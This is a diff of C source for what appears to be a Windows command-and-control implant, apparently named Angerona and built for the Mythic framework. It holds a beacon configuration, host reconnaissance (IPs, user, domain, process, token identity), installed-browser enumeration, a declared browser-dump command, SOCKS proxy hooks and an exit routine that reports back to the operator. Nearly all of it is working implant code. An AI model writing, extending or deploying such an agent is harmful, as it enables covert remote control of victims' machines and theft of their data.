angeronaConfig->idAgente = newUUID;
|
||||
_dbg("UUID actualizado: %s", newUUID);
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
#pragma once
|
||||
#ifndef ANGERONA_H
|
||||
#define ANGERONA_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "paquete.h"
|
||||
#include "analizador.h"
|
||||
#include "utils.h"
|
||||
#include "checkin.h"
|
||||
#include "socks_manager.h" // <— añadido para acceso a socks_proxy_active
|
||||
|
||||
typedef struct {
|
||||
// UUID
|
||||
PCHAR idAgente;
|
||||
// HTTP
|
||||
PWCHAR hostName;
|
||||
DWORD puertoHttp;
|
||||
PWCHAR endPoint;
|
||||
PWCHAR userAgent;
|
||||
PWCHAR metodoHttp;
|
||||
|
||||
BOOL SSL;
|
||||
BOOL proxyHabilitado;
|
||||
PWCHAR urlProxy;
|
||||
|
||||
UINT32 tiempoSleep;
|
||||
BOOL encryptionEnabled;
|
||||
} CONFIG_ANGERONA, *PCONFIG_ANGERONA;
|
||||
|
||||
extern PCONFIG_ANGERONA angeronaConfig;
|
||||
|
||||
/* Context tracking functions */
|
||||
PCHAR getCurrentDirectoryContext(void);
|
||||
VOID setCurrentDirectoryContext(PCHAR cwd);
|
||||
PCHAR getImpersonationContext(void);
|
||||
VOID setImpersonationContext(PCHAR context);
|
||||
VOID clearImpersonationContext(void);
|
||||
|
||||
VOID setUUID(PCHAR newUUID);
|
||||
VOID angeronaMain(void);
|
||||
|
||||
#endif
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
|
||||
#ifndef BROWSER_DUMP_H
|
||||
#define BROWSER_DUMP_H
|
||||
|
||||
#include "analizador.h"
|
||||
#include "paquete.h"
|
||||
|
||||
// Browser dump command code (must match translator)
|
||||
#define BROWSER_DUMP_CMD 0x41
|
||||
|
||||
// Forward declarations
|
||||
VOID DumparNavegador(PAnalizador argumentos);
|
||||
|
||||
#endif
|
||||
|
||||
@@ -0,0 +1,435 @@
|
||||
#undef UNICODE
|
||||
#include <windows.h>
|
||||
#include <shlobj.h>
|
||||
#include <shlwapi.h>
|
||||
#include <stdio.h>
|
||||
#include "browser_info.h"
|
||||
#include "paquete.h"
|
||||
#include "analizador.h"
|
||||
#include "debug.h"
|
||||
|
||||
#pragma comment(lib, "shlwapi.lib")
|
||||
#pragma comment(lib, "version.lib")
|
||||
|
||||
// Maximum path length
|
||||
#define MAX_PATH_LEN 512
|
||||
|
||||
/**
|
||||
* @brief Check if a file exists at the given path
|
||||
*/
|
||||
BOOL FileExists(LPCSTR path) {
|
||||
DWORD dwAttrib = GetFileAttributesA(path);
|
||||
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
|
||||
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Get file version information from an executable
|
||||
*/
|
||||
BOOL GetFileVersion(LPCSTR filePath, char* version, SIZE_T versionSize) {
|
||||
DWORD dwHandle = 0;
|
||||
DWORD dwSize = GetFileVersionInfoSizeA(filePath, &dwHandle);
|
||||
|
||||
if (dwSize == 0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PBYTE pVersionInfo = (PBYTE)LocalAlloc(LPTR, dwSize);
|
||||
if (!pVersionInfo) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!GetFileVersionInfoA(filePath, dwHandle, dwSize, pVersionInfo)) {
|
||||
LocalFree(pVersionInfo);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
VS_FIXEDFILEINFO* pFileInfo = NULL;
|
||||
UINT uLen = 0;
|
||||
|
||||
if (VerQueryValueA(pVersionInfo, "\\", (LPVOID*)&pFileInfo, &uLen)) {
|
||||
DWORD dwFileVersionMS = pFileInfo->dwFileVersionMS;
|
||||
DWORD dwFileVersionLS = pFileInfo->dwFileVersionLS;
|
||||
|
||||
DWORD major = HIWORD(dwFileVersionMS);
|
||||
DWORD minor = LOWORD(dwFileVersionMS);
|
||||
DWORD build = HIWORD(dwFileVersionLS);
|
||||
DWORD revision = LOWORD(dwFileVersionLS);
|
||||
|
||||
snprintf(version, versionSize, "%lu.%lu.%lu.%lu",
|
||||
major, minor, build, revision);
|
||||
|
||||
LocalFree(pVersionInfo);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
LocalFree(pVersionInfo);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Check for Chrome installation
|
||||
*/
|
||||
BOOL CheckChrome(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
|
||||
// Common Chrome installation paths
|
||||
const char* chromePaths[] = {
|
||||
"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"%LOCALAPPDATA%\\Google\\Chrome\\Application\\chrome.exe",
|
||||
NULL
|
||||
};
|
||||
|
||||
char expandedPath[MAX_PATH_LEN] = {0};
|
||||
|
||||
for (int i = 0; chromePaths[i] != NULL; i++) {
|
||||
if (ExpandEnvironmentStringsA(chromePaths[i], expandedPath, MAX_PATH_LEN) > 0) {
|
||||
if (FileExists(expandedPath)) {
|
||||
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
|
||||
GetFileVersion(expandedPath, version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
} else {
|
||||
// Try direct path if expansion fails
|
||||
if (FileExists(chromePaths[i])) {
|
||||
strncpy_s(path, pathSize, chromePaths[i], _TRUNCATE);
|
||||
GetFileVersion(chromePaths[i], version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Check for Edge installation
|
||||
*/
|
||||
BOOL CheckEdge(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
|
||||
// Common Edge installation paths
|
||||
const char* edgePaths[] = {
|
||||
"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"%LOCALAPPDATA%\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
NULL
|
||||
};
|
||||
|
||||
char expandedPath[MAX_PATH_LEN] = {0};
|
||||
|
||||
for (int i = 0; edgePaths[i] != NULL; i++) {
|
||||
if (ExpandEnvironmentStringsA(edgePaths[i], expandedPath, MAX_PATH_LEN) > 0) {
|
||||
if (FileExists(expandedPath)) {
|
||||
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
|
||||
GetFileVersion(expandedPath, version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
} else {
|
||||
if (FileExists(edgePaths[i])) {
|
||||
strncpy_s(path, pathSize, edgePaths[i], _TRUNCATE);
|
||||
GetFileVersion(edgePaths[i], version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Check for Firefox installation
|
||||
*/
|
||||
BOOL CheckFirefox(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
|
||||
// Common Firefox installation paths
|
||||
const char* firefoxPaths[] = {
|
||||
"C:\\Program Files\\Mozilla Firefox\\firefox.exe",
|
||||
"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe",
|
||||
"%APPDATA%\\Mozilla\\Firefox\\firefox.exe",
|
||||
NULL
|
||||
};
|
||||
|
||||
char expandedPath[MAX_PATH_LEN] = {0};
|
||||
|
||||
for (int i = 0; firefoxPaths[i] != NULL; i++) {
|
||||
if (ExpandEnvironmentStringsA(firefoxPaths[i], expandedPath, MAX_PATH_LEN) > 0) {
|
||||
if (FileExists(expandedPath)) {
|
||||
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
|
||||
GetFileVersion(expandedPath, version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
} else {
|
||||
if (FileExists(firefoxPaths[i])) {
|
||||
strncpy_s(path, pathSize, firefoxPaths[i], _TRUNCATE);
|
||||
GetFileVersion(firefoxPaths[i], version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Check for Opera installation
|
||||
*/
|
||||
BOOL CheckOpera(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
|
||||
// Common Opera installation paths
|
||||
const char* operaPaths[] = {
|
||||
"C:\\Program Files\\Opera\\opera.exe",
|
||||
"C:\\Program Files (x86)\\Opera\\opera.exe",
|
||||
"%LOCALAPPDATA%\\Programs\\Opera\\opera.exe",
|
||||
NULL
|
||||
};
|
||||
|
||||
char expandedPath[MAX_PATH_LEN] = {0};
|
||||
|
||||
for (int i = 0; operaPaths[i] != NULL; i++) {
|
||||
if (ExpandEnvironmentStringsA(operaPaths[i], expandedPath, MAX_PATH_LEN) > 0) {
|
||||
if (FileExists(expandedPath)) {
|
||||
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
|
||||
GetFileVersion(expandedPath, version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
} else {
|
||||
if (FileExists(operaPaths[i])) {
|
||||
strncpy_s(path, pathSize, operaPaths[i], _TRUNCATE);
|
||||
GetFileVersion(operaPaths[i], version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Check for Brave installation
|
||||
*/
|
||||
BOOL CheckBrave(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
|
||||
// Common Brave installation paths
|
||||
const char* bravePaths[] = {
|
||||
"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
|
||||
"C:\\Program Files (x86)\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
|
||||
"%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
|
||||
NULL
|
||||
};
|
||||
|
||||
char expandedPath[MAX_PATH_LEN] = {0};
|
||||
|
||||
for (int i = 0; bravePaths[i] != NULL; i++) {
|
||||
if (ExpandEnvironmentStringsA(bravePaths[i], expandedPath, MAX_PATH_LEN) > 0) {
|
||||
if (FileExists(expandedPath)) {
|
||||
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
|
||||
GetFileVersion(expandedPath, version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
} else {
|
||||
if (FileExists(bravePaths[i])) {
|
||||
strncpy_s(path, pathSize, bravePaths[i], _TRUNCATE);
|
||||
GetFileVersion(bravePaths[i], version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Get default browser from registry
|
||||
*/
|
||||
BOOL GetDefaultBrowser(char* browserName, SIZE_T nameSize, char* browserPath, SIZE_T pathSize) {
|
||||
HKEY hKey = NULL;
|
||||
char progId[256] = {0};
|
||||
DWORD progIdSize = sizeof(progId);
|
||||
char httpProgId[256] = {0};
|
||||
DWORD httpProgIdSize = sizeof(httpProgId);
|
||||
|
||||
// Try to get default browser from HTTP protocol association
|
||||
if (RegOpenKeyExA(HKEY_CURRENT_USER,
|
||||
"Software\\Microsoft\\Windows\\Shell\\Associations\\URLAssociations\\http\\UserChoice",
|
||||
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
|
||||
if (RegQueryValueExA(hKey, "ProgId", NULL, NULL, (LPBYTE)httpProgId, &httpProgIdSize) == ERROR_SUCCESS) {
|
||||
RegCloseKey(hKey);
|
||||
|
||||
// Map ProgId to browser name
|
||||
if (strstr(httpProgId, "ChromeHTML") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Google Chrome", _TRUNCATE);
|
||||
CheckChrome(browserPath, pathSize, NULL, 0);
|
||||
return TRUE;
|
||||
} else if (strstr(httpProgId, "MSEdgeHTM") != NULL || strstr(httpProgId, "AppX") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Microsoft Edge", _TRUNCATE);
|
||||
CheckEdge(browserPath, pathSize, NULL, 0);
|
||||
return TRUE;
|
||||
} else if (strstr(httpProgId, "FirefoxURL") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Mozilla Firefox", _TRUNCATE);
|
||||
CheckFirefox(browserPath, pathSize, NULL, 0);
|
||||
return TRUE;
|
||||
} else if (strstr(httpProgId, "OperaStable") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Opera", _TRUNCATE);
|
||||
CheckOpera(browserPath, pathSize, NULL, 0);
|
||||
return TRUE;
|
||||
} else {
|
||||
strncpy_s(browserName, nameSize, httpProgId, _TRUNCATE);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
// Fallback: try to get from HKEY_CLASSES_ROOT\http\shell\open\command
|
||||
if (RegOpenKeyExA(HKEY_CLASSES_ROOT, "http\\shell\\open\\command", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
|
||||
char command[MAX_PATH_LEN] = {0};
|
||||
DWORD commandSize = sizeof(command);
|
||||
|
||||
if (RegQueryValueExA(hKey, NULL, NULL, NULL, (LPBYTE)command, &commandSize) == ERROR_SUCCESS) {
|
||||
RegCloseKey(hKey);
|
||||
|
||||
// Extract executable path (remove quotes and parameters)
|
||||
char* exePath = command;
|
||||
if (command[0] == '"') {
|
||||
exePath = command + 1;
|
||||
char* endQuote = strchr(exePath, '"');
|
||||
if (endQuote) {
|
||||
*endQuote = '\0';
|
||||
}
|
||||
} else {
|
||||
// Find first space (end of path)
|
||||
char* space = strchr(exePath, ' ');
|
||||
if (space) {
|
||||
*space = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
if (FileExists(exePath)) {
|
||||
strncpy_s(browserPath, pathSize, exePath, _TRUNCATE);
|
||||
|
||||
// Try to identify browser from path
|
||||
if (strstr(exePath, "chrome.exe") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Google Chrome", _TRUNCATE);
|
||||
} else if (strstr(exePath, "msedge.exe") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Microsoft Edge", _TRUNCATE);
|
||||
} else if (strstr(exePath, "firefox.exe") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Mozilla Firefox", _TRUNCATE);
|
||||
} else if (strstr(exePath, "opera.exe") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Opera", _TRUNCATE);
|
||||
} else if (strstr(exePath, "brave.exe") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Brave", _TRUNCATE);
|
||||
} else {
|
||||
// Extract filename
|
||||
char* filename = strrchr(exePath, '\\');
|
||||
if (filename) {
|
||||
filename++;
|
||||
} else {
|
||||
filename = exePath;
|
||||
}
|
||||
strncpy_s(browserName, nameSize, filename, _TRUNCATE);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
} else {
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Identify installed browsers and default browser
|
||||
* Lists all detected browsers and identifies the system default browser
|
||||
*/
|
||||
VOID IdentificarNavegadores(PAnalizador argumentos) {
|
||||
SIZE_T tamanoUuid = 36;
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuesta, tareaUuid, FALSE);
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
|
||||
PackageAddFormatPrintf(salida, FALSE, "=== Installed Browsers ===\n\n");
|
||||
|
||||
int browserCount = 0;
|
||||
char path[MAX_PATH_LEN] = {0};
|
||||
char version[64] = {0};
|
||||
|
||||
// Check Chrome
|
||||
if (CheckChrome(path, sizeof(path), version, sizeof(version))) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "[%d] Google Chrome\n", ++browserCount);
|
||||
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
|
||||
if (strlen(version) > 0) {
|
||||
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
|
||||
}
|
||||
PackageAddFormatPrintf(salida, FALSE, "\n");
|
||||
}
|
||||
|
||||
// Check Edge
|
||||
if (CheckEdge(path, sizeof(path), version, sizeof(version))) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "[%d] Microsoft Edge\n", ++browserCount);
|
||||
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
|
||||
if (strlen(version) > 0) {
|
||||
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
|
||||
}
|
||||
PackageAddFormatPrintf(salida, FALSE, "\n");
|
||||
}
|
||||
|
||||
// Check Firefox
|
||||
if (CheckFirefox(path, sizeof(path), version, sizeof(version))) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "[%d] Mozilla Firefox\n", ++browserCount);
|
||||
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
|
||||
if (strlen(version) > 0) {
|
||||
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
|
||||
}
|
||||
PackageAddFormatPrintf(salida, FALSE, "\n");
|
||||
}
|
||||
|
||||
// Check Opera
|
||||
if (CheckOpera(path, sizeof(path), version, sizeof(version))) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "[%d] Opera\n", ++browserCount);
|
||||
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
|
||||
if (strlen(version) > 0) {
|
||||
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
|
||||
}
|
||||
PackageAddFormatPrintf(salida, FALSE, "\n");
|
||||
}
|
||||
|
||||
// Check Brave
|
||||
if (CheckBrave(path, sizeof(path), version, sizeof(version))) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "[%d] Brave\n", ++browserCount);
|
||||
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
|
||||
if (strlen(version) > 0) {
|
||||
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
|
||||
}
|
||||
PackageAddFormatPrintf(salida, FALSE, "\n");
|
||||
}
|
||||
|
||||
if (browserCount == 0) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "No browsers detected.\n\n");
|
||||
}
|
||||
|
||||
// Get default browser
|
||||
PackageAddFormatPrintf(salida, FALSE, "=== Default Browser ===\n\n");
|
||||
char defaultBrowser[256] = {0};
|
||||
char defaultPath[MAX_PATH_LEN] = {0};
|
||||
|
||||
if (GetDefaultBrowser(defaultBrowser, sizeof(defaultBrowser),
|
||||
defaultPath, sizeof(defaultPath))) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "Name: %s\n", defaultBrowser);
|
||||
if (strlen(defaultPath) > 0) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "Path: %s\n", defaultPath);
|
||||
}
|
||||
} else {
|
||||
PackageAddFormatPrintf(salida, FALSE, "Could not determine default browser.\n");
|
||||
}
|
||||
|
||||
// Add output first
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
// Add artifacts for registry reads (after output)
|
||||
addArtifact(respuesta, "Registry Read", "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Shell\\Associations\\URLAssociations\\http\\UserChoice");
|
||||
addArtifact(respuesta, "Registry Read", "HKEY_CLASSES_ROOT\\http\\shell\\open\\command");
|
||||
mandarPaquete(respuesta);
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuesta);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
|
||||
#ifndef BROWSER_INFO_H
|
||||
#define BROWSER_INFO_H
|
||||
|
||||
#include "analizador.h"
|
||||
#include "paquete.h"
|
||||
|
||||
// Browser information command code (must match translator)
|
||||
#define BROWSER_INFO_CMD 0x40
|
||||
|
||||
// Forward declarations
|
||||
VOID IdentificarNavegadores(PAnalizador argumentos);
|
||||
|
||||
#endif
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
#include "cerrarCallback.h"
|
||||
#include "paquete.h"
|
||||
#include <processthreadsapi.h>
|
||||
|
||||
|
||||
BOOL cerrarCallback(PAnalizador argumentos){
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
|
||||
// Liberar el analizador antes de salir
|
||||
if (argumentos) liberarAnalizador(argumentos);
|
||||
|
||||
// Optionally send a message (can be NULL for no message like Xenon)
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
if (salida) {
|
||||
addString(salida, "Exiting...", FALSE);
|
||||
}
|
||||
|
||||
// Send task complete response (similar to Xenon's implementation)
|
||||
paqueteCompletado(tareaUuid, salida);
|
||||
|
||||
// Cleanup
|
||||
if (salida) liberarPaquete(salida);
|
||||
|
||||
// Give a brief moment for the response to be sent before process termination
|
||||
// This is important to ensure the response reaches Mythic
|
||||
Sleep(250);
|
||||
|
||||
// Exit the process
|
||||
ExitProcess(0);
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
#ifndef EXIT_H
|
||||
#define EXIT_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "analizador.h"
|
||||
|
||||
BOOL cerrarCallback(PAnalizador argumentos);
|
||||
|
||||
|
||||
#endif //EXIT_H
|
||||
@@ -0,0 +1,230 @@
|
||||
#include "checkin.h"
|
||||
#include "angerona.h"
|
||||
#include "socks_manager.h"
|
||||
#include "paquete.h" // For addCallbackContext
|
||||
#include "identity.h" // For IdentityGetUserInfo
|
||||
|
||||
#pragma comment(lib, "iphlpapi.lib")
|
||||
#include <iphlpapi.h>
|
||||
|
||||
|
||||
// === Obtener Direcciones IPs ===
|
||||
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
|
||||
PMIB_IPADDRTABLE pTablaDireccionesIP;
|
||||
DWORD dwSize = 0;
|
||||
DWORD dwRetVal = 0;
|
||||
IN_ADDR IPAddr;
|
||||
|
||||
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
|
||||
if (pTablaDireccionesIP) {
|
||||
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
|
||||
LocalFree(pTablaDireccionesIP);
|
||||
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
|
||||
}
|
||||
if (pTablaDireccionesIP == NULL) return NULL;
|
||||
} else return NULL;
|
||||
|
||||
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
|
||||
return NULL;
|
||||
} else {
|
||||
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
|
||||
}
|
||||
|
||||
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
|
||||
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
|
||||
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
|
||||
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
|
||||
}
|
||||
|
||||
if (pTablaDireccionesIP) LocalFree(pTablaDireccionesIP);
|
||||
return tableOfIPs;
|
||||
}
|
||||
|
||||
// === Obtener arquitectura ===
|
||||
BYTE obtenerArquitectura() {
|
||||
SYSTEM_INFO informacionDelSistema;
|
||||
GetNativeSystemInfo(&informacionDelSistema);
|
||||
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
|
||||
informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
|
||||
return 0x64;
|
||||
}
|
||||
return 0x86;
|
||||
}
|
||||
|
||||
// === Obtener hostname ===
|
||||
PCHAR obtenerHostame() {
|
||||
LPSTR datos = NULL;
|
||||
DWORD dataLen = 0;
|
||||
const char* hostnameRep = "N/A";
|
||||
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen)) {
|
||||
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
|
||||
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
|
||||
hostnameRep = datos;
|
||||
}
|
||||
}
|
||||
return (char*)hostnameRep;
|
||||
}
|
||||
|
||||
// === Obtener usuario ===
|
||||
char* obtenerUsuarios() {
|
||||
LPSTR datos = NULL;
|
||||
DWORD dataLen = 0;
|
||||
const char* usuario = "N/A";
|
||||
if (!GetUserNameA(NULL, &dataLen)) {
|
||||
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
|
||||
GetUserNameA(datos, &dataLen);
|
||||
usuario = datos;
|
||||
}
|
||||
}
|
||||
return (char*)usuario;
|
||||
}
|
||||
|
||||
// === Obtener dominio ===
|
||||
LPWSTR obtenerDominio() {
|
||||
DWORD dwLevel = 102;
|
||||
LPWKSTA_INFO_102 pBuf = NULL;
|
||||
PWCHAR dominio = NULL;
|
||||
NET_API_STATUS nStatus;
|
||||
LPWSTR pszServerName = NULL;
|
||||
|
||||
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
|
||||
if (nStatus == NERR_Success) {
|
||||
DWORD length = lstrlenW(pBuf->wki102_langroup);
|
||||
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
|
||||
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
|
||||
}
|
||||
if (pBuf != NULL) NetApiBufferFree(pBuf);
|
||||
return dominio;
|
||||
}
|
||||
|
||||
// === Obtener OS ===
|
||||
char* getOsName() { return (PCHAR)"Windows"; }
|
||||
|
||||
// === Obtener nombre del proceso actual ===
|
||||
char* obtenerNombreProceso() {
|
||||
char* nombreProceso = NULL;
|
||||
HANDLE handle = GetCurrentProcess();
|
||||
if (handle) {
|
||||
DWORD buffSize = 1024;
|
||||
CHAR buffer[1024];
|
||||
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
|
||||
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
|
||||
memcpy(nombreProceso, buffer, buffSize);
|
||||
}
|
||||
CloseHandle(handle);
|
||||
}
|
||||
return nombreProceso;
|
||||
}
|
||||
|
||||
/* Stub desactivado: el procesamiento SOCKS entrante se hace en transporte.c */
|
||||
static VOID procesarSocksEntrante(PAnalizador respuesta) { (void)respuesta; }
|
||||
|
||||
/* ==========================================================
|
||||
Check-in principal con soporte SOCKS
|
||||
========================================================== */
|
||||
PAnalizador checkin() {
|
||||
_inf("Iniciando checkin");
|
||||
|
||||
UINT32 numeroDeIPs = 0;
|
||||
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
|
||||
if (!checkin) {
|
||||
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
addString(checkin, (PCHAR)angeronaConfig->idAgente, FALSE);
|
||||
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
|
||||
addInt32(checkin, numeroDeIPs);
|
||||
for (UINT32 i = 0; i < numeroDeIPs; i++) {
|
||||
addInt32(checkin, tableOfIPs[i]);
|
||||
}
|
||||
|
||||
addString(checkin, getOsName(), TRUE);
|
||||
addByte(checkin, obtenerArquitectura());
|
||||
addString(checkin, obtenerHostame(), TRUE);
|
||||
addString(checkin, obtenerUsuarios(), TRUE);
|
||||
addWString(checkin, obtenerDominio(), TRUE);
|
||||
addInt32(checkin, GetCurrentProcessId());
|
||||
addString(checkin, obtenerNombreProceso(), TRUE);
|
||||
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
|
||||
|
||||
// Add callback context with initial cwd and impersonation_context
|
||||
// Get current directory and add to callback context
|
||||
char initial_cwd[MAX_PATH] = {0};
|
||||
if (GetCurrentDirectoryA(sizeof(initial_cwd), initial_cwd) > 0) {
|
||||
setCurrentDirectoryContext(initial_cwd); // Initialize global context
|
||||
addCallbackContext(checkin, "cwd", initial_cwd);
|
||||
_inf("Checkin: Añadido cwd inicial: %s", initial_cwd);
|
||||
} else {
|
||||
_wrn("Checkin: No se pudo obtener el directorio actual");
|
||||
}
|
||||
|
||||
// Get current user context (process token) for impersonation_context
|
||||
// This will show the user even if there's no impersonation active
|
||||
HANDLE hProcessToken = NULL;
|
||||
char initial_user[512] = {0};
|
||||
BOOL user_context_added = FALSE;
|
||||
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hProcessToken)) {
|
||||
if (IdentityGetUserInfo(hProcessToken, initial_user, sizeof(initial_user))) {
|
||||
setImpersonationContext(initial_user); // Initialize global context
|
||||
addCallbackContext(checkin, "impersonation_context", initial_user);
|
||||
_inf("Checkin: Añadido impersonation_context inicial (process token): %s", initial_user);
|
||||
user_context_added = TRUE;
|
||||
} else {
|
||||
_wrn("Checkin: IdentityGetUserInfo falló");
|
||||
}
|
||||
CloseHandle(hProcessToken);
|
||||
} else {
|
||||
DWORD error = GetLastError();
|
||||
_wrn("Checkin: OpenProcessToken falló, error=%lu, usando fallback", error);
|
||||
}
|
||||
|
||||
if (!user_context_added) {
|
||||
// If we can't get process token, use the username from obtenerUsuarios()
|
||||
// Format: domain\username (we'll use hostname as domain if needed)
|
||||
char* username = obtenerUsuarios();
|
||||
char* domain = obtenerDominio();
|
||||
if (username && strlen(username) > 0) {
|
||||
if (domain && wcslen(domain) > 0) {
|
||||
// Convert domain from wide char to char
|
||||
